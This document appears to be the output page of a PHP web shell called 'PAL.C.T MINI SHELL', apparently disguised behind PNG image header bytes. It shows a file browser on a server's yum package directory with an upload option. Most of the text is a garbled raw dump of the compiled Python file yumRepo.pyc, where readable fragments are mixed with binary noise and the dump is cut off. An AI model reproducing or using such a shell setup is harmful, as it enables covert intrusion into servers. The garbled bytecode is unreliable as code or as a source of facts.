php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/yumRepo.pyc

[c!@s!ddkZddkZddkZddkZddkZeiidddkZddkZddk	l
Z
ddk	lZddkZ
ddk	lZddkZddkZddklZddkZddkZddkZddklZddklZdd	klZdd
kTddkZddkZddkZddkZddkZddk Z ddk!Z!ddk"Z"ddk#Z#e$Z%ei&dei'ei(dZ)ei(d
Z*dei+fdYZ,deei-fdYZ.e/dZ0dfdYZ1dS(iNtmedia(t
URLGrabber(tdefault_grabber(tURLGrabError(t
Repository(tconfig(tmisc(tcomps(t*tignores	yum.Repossyum.verbose.RepostYumPackageSackcBsYeZdZdZdZdZd
dZdd
ddZdZ	d	Z
RS(s;imports/handles package objects from an mdcache dict objectcCs&tii|||_h|_dS(N(tpackageSacktPackageSackt__init__tpctadded(tselftpackageClass((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR
Fs	cCs|idS(N(tclose(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt__del__KscCs
h|_dS(N(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRNsc
Cs||ijo||i|jodSnt|}|djod}x~|D]v}|d7}|o|i|||n||}|i||}	||	_|i|i||	|i|	qSW||ijog|i|<n|i|idd|_	n|djo||ijo5d|i|jot
id||ifqand}xy|D]q}|d7}|o|i|||n||}||ijo)x&|i|D]}	|	i|qWqnqnW|i|i|d|_	ndS(Ntmetadataiit	filelistst	otherdatas$%s md for %s imported before primary(RR(
RtlentprogressbarRtidt_addToDictAsListtpkgsByIDt
addPackagetappendtindexesBuilttErrorst	RepoErrortimportFromDict(
Rtrepotdatatypetdataobjtcallbackttotaltcurrenttpkgidtpkgdicttpo((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytaddDictQsN	


	

	


RicCsO|djodddg}n
|g}t|dp+tid|id|id||_nx|D]}||ijo||i|joqkqnd}|djo%d	}d
}	|i}
|ii	}nh|djo%d}d}	|i
}
|ii}n6|djo%d}d
}	|i}
|ii
}nqk|i||o|i||}|pZ|i|}|o@|ip2ti|}ti||i||}qqn|ii|}
nCt|_|
}|ii|	}|i\}}|||}
|p|i|||
|n~
qkW|`dS(NtallRRRtcacheHandlertstoredirtrepoidR%t
primary_dbtprimarytfilelists_dbtother_dbtother(thasattrtsqlitecachectRepodataParserSqlitetcachedirRR-RtNonet
getPrimaryXMLt
getPrimarytgetFileListsXMLtgetFileliststgetOtherXMLtgetOtherdatat_check_db_versiont_check_uncompressed_dbt_retrieveMDtcacheRt
decompresstunlink_ft
open_databasetTruet_xml2sqlite_localtrepoXMLtgetDatatchecksumR+(RR"tmdtypeR%t	cacheonlytdatatitemtdb_fntmydbtypetmymdtypetrepo_get_functiontrepo_cache_functiontdb_un_fntdobjtxmltxmldatatctypetcsum((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytpopulate}sb
				
	
	
	

		c
Cs|ii|}|i\}}tii|}|id|}ti|dt	}d}	|itii|tii|okt
o|io|Sy|i||dt	Wn.tj
o"|ipti|qqX|}	n|	S(s8return file name of uncompressed db is good, None if nott/tfn_onlytopenchecksumN(RIRJtlocationtostpathtbasenameR8RRDRGR9t_preload_md_from_system_cachetexiststskip_old_DBMD_checkt
_using_old_MDtcheckMDRRCRE(
RR"RLtmydbdatatr_basetremotetfnamet
compressed_fnRUtresult((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRAs"

cCs
|i|S(N(R@(RR"RL((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR@sN(t__name__t
__module__t__doc__R
RRR9R+R[RAR@(((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR
Ds			,H	t
YumRepositorycBseZdZdZdZdZeeZdZdZ	dZ
ee
ZdZdZ
d	Zd
Zdtedud
ZdZdZdZdZdZedZdZdZedZdZdZedZedZ dZ!dZ"dZ#dZ$edZ%ed Z&ed!d"Z'ed#d$Z(ed%d&Z)ed'd(Z*ed)Z+d*Z,d+Z-d,Z.d-Z/d.Z0ed/d0d1d2d3d4Z1d5Z2ed/d6d1d7d3d8Z3dudududududududud9edud:Z4e4Z5dudued;Z6dud9ed<Z7d=Z8d>Z9d?Z:d@Z;dududududAZ<dBZ=dududCZ>dudDZ?dEZ@dFZAdGZBdudHZCedIZDdJZEeFdKZGdududLZHdMZIdudNZJdudOZKedPZLdudQZMdududRZNdSZOdudTZPdUZQed/dVd1dWd3dXZRdYZSdZZTed[ZUedued\ZVd]ZWed^ZXd_ZYd`ZZdaZ[dbZ\dcZ]ddZ^deZ_dfZ`dudgZadhZbdiZcdjdudkZddlZedmZfdnZgdoZhdpZidqdrgdsZjRS(vso
    This is an actual repository object

    Configuration attributes are pulled in from config.RepoConf.
    cCstii|ti||d|_g|_g|_d|_d|_	d|_
d|_d|_h|_
d|_d|_h|_h|_d|_d|_d|_t|_h|_d|_d|_d|_d|_d|_hdd6dd6dd	6dd
6dd6dd6|_t|_d|_d|_ d|_!d|_"t|_#d|_$d|_%d|_&d|_'t(|_)d|_*d|_+d|_,dS(
Nis
yumgroups.xmlsrepodata/repomd.xmltcachecookietiR1RR4tgroupt
updateinfotprestodelta(-RtRepoConfR
RR9trepofilet
mirrorurlst_urlstenablegroupstgroupsfilenamet
repoMDFilet_repoXMLRft_oldRepoMDDataRCtmirrorlistparsedtyumvart_proxy_dicttmetadata_cookie_fnt_metadataCurrentt	_metalinktFalsetgroups_addedthttp_headerstrepo_config_agetbasecachedirtbase_persistdirtcostt
copy_localt	retrievedt_preloaded_repomdR%tfailure_objtmirror_failure_objtinterrupt_callbackt_callbacks_changedt	mediafunctgpg_import_functgpgca_import_functconfirm_funcRGttimestamp_checkt_sackt	_grabfunct_grab(RR/((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR
sR																																				cCsf|djodSt|do
|i}nd}t|i|}|o|St|i|iS(s@ Sort yum repos. by cost, and then by alphanumeric on their id. iRiN(R9R5RtcmpR(RR4tocosttret((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt__cmp__#s

cCs0|idjotiti|_n|iS(N(RR9t
sqlitesacktYumSqlitePackageSacktYumAvailablePackageSqlite(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getSack0scCs2|idj	o|iinti|dS(N(RR9tsackRR(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR<scCs
d|_dS(N(R9R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_resetSackAscCs |i|io|iSdS(N(tdoProxyDictRR9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt__getProxyDictDs

cCs|iS(s7Returns the instance of this repository's package sack.(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytgetPackageSackNscCs"t|do|idj	StS(s;Returns true if this repository is setup and ready for use.tmetadata_cookieN(R5RIR9R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytreadySscCsEd|iijo|iid}n|iid}|iS(s"Returns the location of the group.tgroup_gzRt(RIt	fileTypesRJR_(Rtthisdata((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytgetGroupLocationZscCs|iS(N(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt__str__bsiicCs[yti||||SWn:titfj
o%}|odStid|nXdS(stakes filename, hand back Checksum of it
           sumtype = md5 or sha
           filename = /path/to/file
           CHUNK=65536 by defaults#Error opening file for checksum: %sN(RRKRt	MiscErrortEnvironmentErrorR9R (RtsumtypetfiletCHUNKtchecksum_can_failtdatasizete((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt	_checksumesc Csd|i}d'}xt|D]}|id"oq n||joq ntt||tioq nt||}|o/t|tttd#fjo
d$}nt|ti	jod%i
|}n|d&||f}q W|S((Ns[%s]
RRt
metalink_datatgrabtgrabfuncRItcfgRRRRRR%RRRRRRR|RRRRRtquick_enable_disableR}RturlsRyRRxt_iRss,
   s%s = %s
( s	mediafuncssacks
metalink_datasgrabsgrabfuncsrepoXMLRs	retrievedsmirrorlistparsedsgpg_import_funcsgpgca_import_funcsfailure_objscallbacksconfirm_funcsgroups_addedsinterrupt_callbacksidsmirror_failure_objsrepo_config_agesgroupsfilenames
copy_localsbasecachedirshttp_headerssmetadata_cookiesmetadata_cookie_fnRs
repoMDFilestimestamp_checksurlss
mirrorurlssyumvarsrepofile(Rtdirt
startswitht
isinstancetgetattrttypest
MethodTypettypeRtListTypetjoin(Rtoutputt
excluded_varstattrtres((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytdumprs6


-
cCss|iyti|ddgWnHtj
o<}|itijoti|qott|nXdS(s%Persistently enables this repository.tonlytenabledN(	tenableRtwriteRawRepoFiletIOErrorterrnotEACCEStloggertwarningtstr(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytenablePersistents
cCss|iyti|ddgWnHtj
o<}|itijoti|qott|nXdS(s&Persistently disables this repository.RRN(	tdisableRRRRRRRR(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytdisablePersistents
cCs<t|idjo"|iotid|indS(shself-check the repo information  - if we don't have enough to move
           on then raise a repo erroris(Cannot find a valid baseurl for repo: %sN(RRztmediaidRR R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytchecks!cCs|iodSh|_d}d
}|i|jo
d}n|iod|i}|i|jouti|i}|i|jo|dti|i7}ntid|i	\}}d|||f}qn|dj	o+||id<||id<||id	<ndS(Nt_none_Rss%st:s(\w+://)(.+)s%s%s@%sthttpthttpstftp(NRRs(
RR9tproxytproxy_usernameturllibtquotetproxy_passwordtretmatchtgroups(Rtproxy_stringtemptytauthtprototrest((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs&
	





cCs`g}x+|iD] }|i||i|fqW|p
d|ijp|idn|S(sAConvert our dict of headers to a list of 2-tuples for urlgrabber.tPragmasno-cache(Rsno-cache(RR(RRCtheaderstkey((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt__headersListFromDicts
cCs'tidtidd|idS(Ns5setupGrab() will go away in a future version of Yum.
t
stackleveli(twarningstwarnRtYumFutureDeprecationWarningt
_setupGrab(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt	setupGrabs	cCs|idjotii}n
tii}|i}td|id|id|i	d|i
dd||_||i|id|i
|_dS(	s_sets up the grabber functions with the already stocked in urls for
           the mirror groupst
roundrobintprogress_objtfailure_callbackRRtregettsimpleN(tfailovermethodt
urlgrabbertmirrort
MGRandomOrdertMirrorGroupt_default_graboptsRR%RRRRRRR(Rtmgclasstugopts((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs			cCsh|id6|id6|id6|id6|id6|id6t|id|d6|id	6|id
6|i	d6|i
d6|id
6ti
id6|id6|id6|id6}|S(Nt	keepalivet	bandwidthtretrytthrottletproxiesttimeoutRCRtssl_verify_peertssl_verify_hosttssl_ca_certtssl_certtssl_keyt
user_agenttusernametpasswordtftp_disable_epsv(RRtretriesR	t
proxy_dictRttuplet#_YumRepository__headersListFromDictt	sslverifyt	sslcacertt
sslclientcerttsslclientkeyRtoptsRRRR(RRCR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs"














cCs3|ip
|io|it|_n|iS(N(RRRR(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getgrabfuncs

cCs3|ip
|io|it|_n|iS(N(RRRR(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getgrabs

cCs
|iS((R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt<lambda>
scCs
|iS((R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR scCstii|otii|odS|iotid|nyti|ddWn7tj
o+}dd|d|f}ti|nXdS(s@make the necessary directory path, if possible, raise on failureNsCannot access repository dir %stmodeis
%s: %s %s: %ssError making cache directorys	error was(	R`RaRdtisdirRCRR tmakedirstOSError(RtdpathRtmsg((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_dirSetupMkdir_p
s&
c	Cstii|i|i}tii|i|i}tii|d}tii|d}|id||id||id||id|d}tidjo
d	}n|id
|d||id|d
||id|i	}|id|x'|i|i
gD]}|i|q*Wx@|igD]2}y|i|WqNt
ij
o	}qNXqNW|ido
t|_n|id|id|iddS(s6make the necessary dirs, if possible, raise on failuretpackagesRt_dir_setup_cachedirt_dir_setup_pkgdirt_dir_setup_hdrdirt_dir_setup_persistdirRsis-rot_dir_setup_gpgdirs/gpgdirt_dir_setup_gpgcadirs	/gpgcadirR\t_dir_setup_metadata_cookies
repomd.xmlRrsmirrorlist.txtsmetalink.xmlN(R`RaRRRRtsetAttributetgeteuidR8RtpkgdirR't
persistdirRR RcRGR(	RR8R3R2thdrdirtexttcookieRR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytdirSetups:

	


cCs5d|}t||p|int||S(s; Make the directory attributes call .dirSetup() if needed. t_dir_setup_(R5R7R(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_dirGetAttrCs
cCsd|}t||p|in|djo:t|dp
g|_n|iit||nt|||}|djo|i|n|S(s; Make the directory attributes call .dirSetup() if needed. R8R*t_old_pkgdirs(s_dir_setup_pkgdir(R5R7R:RRtsetattrR'(RRtvalR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_dirSetAttrIs



cCs
|idS(R8(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR XscCs
|idS(R3(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR YscCs
|idS(R2(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR [scCs|id|S(R2(R=(Rtx((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR \scCs
|idS(R4(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR ]scCs|id|S(R4(R=(RR>((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR ^scCs
|idS(tgpgdir(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR _scCs|id|S(R?(R=(RR>((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR `scCs
|idS(tgpgcadir(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR ascCs|id|S(R@(R=(RR>((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR bscCs
|idS(R(R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR cscCs'tidtidd|idS(Ns8baseurlSetup() will go away in a future version of Yum.
Ri(RRRRt
_baseurlSetup(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytbaseurlSetupes	cCsL|iodS|ipdS|iiddjodS|i|_dS(Ntmetalinki(RCt
mirrorlisttfind(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_hack_mirrorlist_for_anacondajs

cCs|i|i|_|i|_g}|i|io4|io)|it|ii	t
|_n|io+|io |i|it
|_n|i||_
|i|i
|_t|idjot|doxtii|iob|ipTyti|iWn-ttfj
o}d|i|fGHqcXd|iGHqgqkn|i|_|idS(sgo through the baseurls and mirrorlists and populate self.urls
           with valid ones, run  self.check() at the end to make sure it workeditmirrorlist_files-Could not delete bad mirrorlist file: %s - %ss-removing mirrorlist with no valid mirrors: %sN(t_replace_and_check_urltbaseurlt
_orig_baseurlRFRCRtextendtlistRRRGRDt_getMirrorListRyRzRR5R`RaRdRGRCRRERR$R(RRyR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRAys,


&
c
Csg}d}x|D]}|djoqnti||i}|ddjo|d}ny%ti|\}}}}}	}
Wn$tttfj
o}d}nX|djo
|}qq|i|qW|dj	o3|od	t	i
|GHqd
t	i
|GHn|S(
NRsiR\tblahRRRRsMYumRepo Warning: Some mirror URLs are not using ftp, http[s] or file.
 Eg. %ssJYumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. %s(RsN(shttpsftpsfileshttps(R9tparsert
varReplaceRturlparset
ValueErrort
IndexErrortKeyErrorRRtto_utf8(Rturl_listtgoodurlstskippedturltstbtptqtftoR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRHs,
%

cCs|ip|in|iS(N(RzRA(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_geturlss
tfgetcCs
|iS((R`(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR stfsetcCst|d|S(Rz(R;(Rtvalue((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR stfdelcCst|ddS(RzN(R;R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR sc	Cs|ip|idd|_|id}|ipti|i}|i}y8td|i	|}|i
||d|id}Wqti
ij
ok}tii|ipd|}ti|nd||id	ti|id
fGHt|_qXn|ipmy)ti||_ti||iWqtij
o.}d||fGHt|_ti|qXn|ioti|i|_qn|iS(NR\smetalink.xmls.tmpRttexts	/metalinksQCannot retrieve metalink for repository: %s. Please verify its path and try agains*Could not get metalink %s error was
%s: %siis)Could not parse metalink %s error was 
%s(RR8tmetalink_filenamet_metalinkCurrentRRURCRRR%turlgrabRRtgrabberRR`RaRdRR targst
to_unicodeRGRtMetaLinkRepoMDtshutiltmovetMetaLinkRepoErrorParseFailRE(RtlocalRYRtugRmRR&((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getMetalinks6


#)
	
cCs
|iS((Rr(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR scCst|d|S(R(R;(RRc((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR s	cCst|ddS(RN(R;R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR sRcCs|djo
|i}n|djp
|djotid|in|idjo2tii|o|Stid||fn|o"t	i
|\}}
}}}n|io|iod}|o(|djo|ot
|}qny\|id|d|d|d|d	|d
|d|id|id
|d||f
}|SWqtij
o#}titid|fqXn|o6|djo)|id|
}td|id	|d|	d|id|id|d||}|d|}y:|iti||dti|d||f}Wqtj
o}}|i||d||i|f}|io|d7}|d7}n|idjoti |qti|qXnt!|i"d|
}y[|i#iti||dti|d||fd	|d|	d|d|d|}Wngtj
o[}|i||d||i|f}|idjoti |qti|nX|S(sretrieve file from the mirrorgroup for the repo
           relative to local, optionally get range from
           start to end, also optionally retrieve from a specific baseurls/get request for Repo %s, gave no source or destis0Caching enabled but no local cache of %s from %sRRpt	checkfunctrelativeReRRYRtnametdiscnumtranges8Error getting package from media; falling back to url %sRCRRRRtsizeR\s*failed to retrieve %s from %s
error was %ss0
  You could try running: yum clean expire-caches
  To get a new set of mirrors.iRsfailure: %s from %s: %sN($R9RRR RRCR`RaRdRQturlsplitRRtintRut
MediaErrortverbose_loggertlogt
logginglevelstDEBUG_2RRR%RRRhRRURt_del_dl_fileRyRtNoMoreMirrorsRepoErrorRRR(RRYRtRptstarttendRRsReRRCRxtschemetnetlocRatquerytfragidRvRmRRRqRjterrstrR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getFiles

"T#			


cCs|i}|i}|i}|i|o#|io|Sti|n|id|d|d|d|d|d|d|iS(NRYRtRpRsReRCRx(	trelativepathtlocalPkgtbasepatht_preload_pkg_from_system_cachetverifyLocalPkgRRERRx(RtpackageRsReRCRjRpR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
getPackageQs		
cCs|i}|i}|i}|i}||}	|i}
tii|ipti	|in|i
d|
d|d|d|ddd|d|dd	d
|d|	
S(NRYRtRpRRRRsRiRCRx(RtlocalHdrthdrstartthdrendRR`RaRdR4R#RR9(RRRsRRCRjRpRRRxR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt	getHeaderds			
	!cCs|idj	o|iS|i|i|i}|p||_|S|idd}tii|pt	|_t	S|i
|idd}|io"tii|ot	|_t	St|_tS(sCheck if there is a metadata_cookie and check its age. If the
        age of the cookie is less than metadata_expire time then return true
        else return False. This result is cached, so that metalink/repomd.xml
        are synchronized.R\s
repomd.xmlsmetalink.xmlN(
RR9twithinCacheAgeRtmetadata_expireR8R`RaRdRRFRCRG(RtmC_deftrepomdfntmlfn((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytmetadataCurrentvs"		
		cCs|idj	o|iS|io+tii|iotid|n|io
t	|_nStii|ip
t
|_n0|i|i|i
o
t	|_n
t
|_|iS(Ns$Cannot find metalink.xml file for %s(RR9RCR`RaRdRfRR RGRRRR(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRgs!



	cCs|djotii|otSt}tii|o}ti|}|d|tijo
t}n"|dtijo
t}n|dt|ijo
t}qn|S(sxcheck if any file is older than a certain amount of time. Used for
           the cachecookie and the mirrorlist
           return True if w/i the expiration time limit
           false if the time limit has expired

           Additionally compare the file to age of the newest .repo or yum.conf
           file. If any of them are newer then invalidate the cache
           ii(	R`RaRdRGRtstatttimeRzR(Rtmyfiletexpiration_timeR<tcookie_info((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs 

cCsi|i}tii|ip
|i}nti|tio#t|id}|i~ndS(s/if possible, set touch the metadata_cookie filesw+N(	RR`RaRdR8taccesstW_OKtopenR(RRtfo((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytsetMetadataCookies	

cCsy1||_||_||_||_||_Wntij
o}nX|ioI|io?|io4|i	o)t
iti
dt|_t|_ndS(Ns1Disabling media repo for non-media-aware frontend(RCRRRRRR RRDRIR|R}R~RRRRGtskip_if_unavailable(RRCRRRRR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytsetups				
+	cCsR|io(tii|otid|n|ip
|iotStS(s( Should we cache the current repomd.xml s"Cannot find repomd.xml file for %s(	RCR`RaRdRR RRGR(RRp((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_cachingRepoXMLs
cCs|idhf}|djod|ij}nd}yvtidddddtii|}|id|i	d	|d
dd|d
dd|d|i
djdd}Wn~tj
o8}ti
||odStid||fn<titifj
o#ti
||odSnXyti||Wn6ti
||odStid||fnX|S(s* Call _getFile() for the repomd.xml file. told_repo_XMLRstprefixtrepomdtsuffixstmp.xmlRRtRpRiReRRsRCR,RxisError downloading file %s: %ssError renaming file %s to %s(N(t
_checkRepoXMLR9RttempfiletmktempR`RatdirnameRR}thttp_cachingRRRERR Rtrename(RRpRet
grab_can_failRsttfnameRmR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getFileRepoXMLsD




cCsxyti|i|SWnZtij
oK}|djod|ij}n|odStid||fnXdS(s Parse the repomd.xml file. Rs&Error importing repomd.xml from %s: %sN(trepoMDObjecttRepoMDRRtRepoMDErrorR9RR (RRptparse_can_failR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_parseRepoXMLs
cCsx+ti|idD]}ti|qWtii|oh|d}ti|||i	|t
}|djodSh|d6|d6|d6gd6|_|SdS(s= If we have an older repomd.xml file available, save it out. s
/*.old.tmps.old.tmpRRpt	old_localtnew_MD_filesN(
tglobR8RRER`RaRdRmtcopy2RRGR9R(RRpRkRRW((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_saveOldRepoXMLs

cCs|iptidnd|ijoh|_dSx"|idD]}ti|qFW|i}h|_d|joti|d|dn|d|_d|jodSx&|dD]}ti|d|qWdS(	s0 If we have older data available, revert to it. s#Can't download or revert repomd.xmlRNRRRptold_MD_filess.old.tmp(	RRR RRRER`RR~(RRktold_datatrevert((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_revertOldRepoXML,s$
			


cCsp|i}h|_d|joti|dnd|jodSx#|dD]}ti|dqQWdS(s  Done with old data, delete it. RRNs.old.tmp(RRRE(RRR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_doneOldRepoXMLKs		

cCs|djo
|i}n|djod|ijo
d}n|djo(|i|dd|o|d7}n||ii|fS(	NRtRR4RR1t_dbRI(sothers	filelistssprimary(R9RIRR@trepoDatatget(RRLRI((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_get_mdtype_dataXs

 

cCsP|i\}}|idtii|}|oti|dt}n|S(NR\R](R_R8R`RaRbRRDRG(RRNt
compressedRiRjRp((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_get_mdtype_fnameds
cCs}d|ijotS|id}|ioM|i|iijo7tidti|iti|iift	StS(s| We check the timestamps, if any of the timestamps for the
            "new" data is older than what we have ... we revert. RshNot using downloaded repomd.xml because it is older than what we have:
  Current   : %s
  Downloaded: %s(
RRGRt	timestampRIRRRtctimeR(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_groupCheckDataMDNewerls

	cCs|i|ijotS|i|ijotSt}xN|iD]C}||ijoq@n|i||i|jotSt}q@W|S(s7 Check parsed repomd.xml against metalink.repomd data. (RRtlengthRxt	checksumstchksumsRG(RIRtdoneRK((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_checkRepoXMLMetalink~s

cCs|djo
|i}n|djo
|i}n|i||iotSxd|iiD]V}|i||o=tit	i
dti|ii
ti|i
ftSq\WtS(s@ Check the repomd.xml against the metalink data, if we have it. s/Using older repomd.xml
  Latest: %s
  Using: %sN(R9R~RRRRGtold_repomdsR|R}R~RRRRR(RRIRR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_checkRepoMetalinks




	cCsr|i|}|ptS|i|iptS|ii}|io|i|ijotS|i	||S(sx Save the Old Repo XML, and if it exists check to see if it's the
            latest available given the metalink data. (
RRRFRCRRRRRGR(RRptoxmlR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_latestRepoXMLs

cCs*|id}|idj	otS|i|ot}|}not}|i|o |}|i}|d|_n/|i||}|djo|i	tS|i
|idjo|i||_n|idjo|i	tS||_|otS|i
p|i	tStS(s` Common LoadRepoXML for instant and group, returns False if you
            should just return. s/repomd.xmlRN(R8R~R9RRRGRRRRRRRfR(RRetmdtypesRptcachingRmR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_commonLoadRepoXMLs8

	



	

cCsN|djo
|i}n||ijo t|i|ijotSntS(N(R9RIRt	DBVERSIONt	dbversionRGR(RRLRI((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR@s

	c	Cs|djodS|p%|id}|i||}nKt}|i|t}tii|pti|dt	}t	}n|i
tii||i||d|d|dt	pdS|S(s Check that we already have this data, and that it's valid. Given
            the DB mdtype and the main mdtype (no _db suffix). RR]R^RNtcheck_can_failN(
R9tendswithRRR`RaRdRRDRGRcRbt_checkMD(RRNtdbmdtypetmmdtypet
file_checkRRp((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_groupCheckDataMDValids

cCsd}|ii}|djo
|}ng}d|ijo
d}n|id}||id<g|id<g}g}xk|D]c}|i|\}	}
|o|i|d|\}}|i|||t}
|
o||||	|
oqnti|
|
d|i	|
|
d}ti
i|o%ti||d|i	|qiqmn|
djoqn||joqn|i|
|	|oqn|
idjo|i	|
|	fq|i	|
|	fqWt
|djo|i|g}nd	}d	}x'|D]\}
}	|t|
i7}q-Wx_|D]W\}
}	tii|||i|	d
tp|itS|t|
i7}qWWtiid	x9|D]1\}
}	|i|	d
tp|itSqWxt||D]h\}
}	|i|
t}
|	ido&|
}ti|}
ti|n|idi	|
q	W|itS(
s Retrieve any listed mdtypes, and revert if there was a failure.
            Also put any of the non-valid mdtype files from the old_repo_XML
            into the delete list, this means metadata can change filename
            without us leaking it. cSs|djotS||jotS|i|ijotStii|id}tii|id}||jotStS(s9 Check if two returns from _get_mdtype_data() are equal. iN(R9RRKR`RaRbR_RG(tomdtypetodatatnmdtypetndatatornametnrname((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_mdtype_eqs


RRRRIs.old.tmps.sqliteiitretrieve_can_failRN(RtkeysR9RRRRGR`RRRaRdRxRRKRzRtprogressttext_meter_total_sizeRBRRRRRRDRER(RRRtall_mdtypestrevertsRtdownloading_with_sizetdownloading_no_sizeRLRRRRRpt	gen_localtremote_sizet
local_sizetdl_local((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_commonRetrieveDataMDs	













	
cCs%|i|o|i|ndS(s Retrieve the new repomd.xml from the repository, then check it
            and parse it. If it fails we revert to the old version and pretend
            that is fine. If the new repomd.xml requires new version of files
            that we have, like updateinfo.xml, we download those too and if any
            of those fail, we again revert everything and pretend old data is
            good. N(RR(RReR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_groupLoadRepoXMLscCshgd6dgd6ddgd6dddddgd	6}t}t|itijo&|i|i|i|ign1x-|iD]"}|i|i||gqW|p
d
|jo
d}ntt	|}|S(NtinstantR1s
group:primaryRusgroup:smallRtRRvs
group:mains	group:all(
tsetRtmdpolicyRtStringTypestupdateRR9tsortedRL(Rt	md_groupsRR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_mdpolicy2mdtypess


		&
 
cCsTy|i||iSWn tj
o|inXtid|idS(s5retrieve/check/read in repomd.xml from the repositorysBad loadRepoXML policy: %sN(RRtKeyboardInterruptRRR R(RRe((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_loadRepoXMLs
cCs^|io|iSy|id|Wn.tij
o}d|}ti|nX|iS(NResiCannot retrieve repository metadata (repomd.xml) for repository: %s. Please verify its path and try again(R~RRR (RRR&((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_getRepoXMLs
cCs
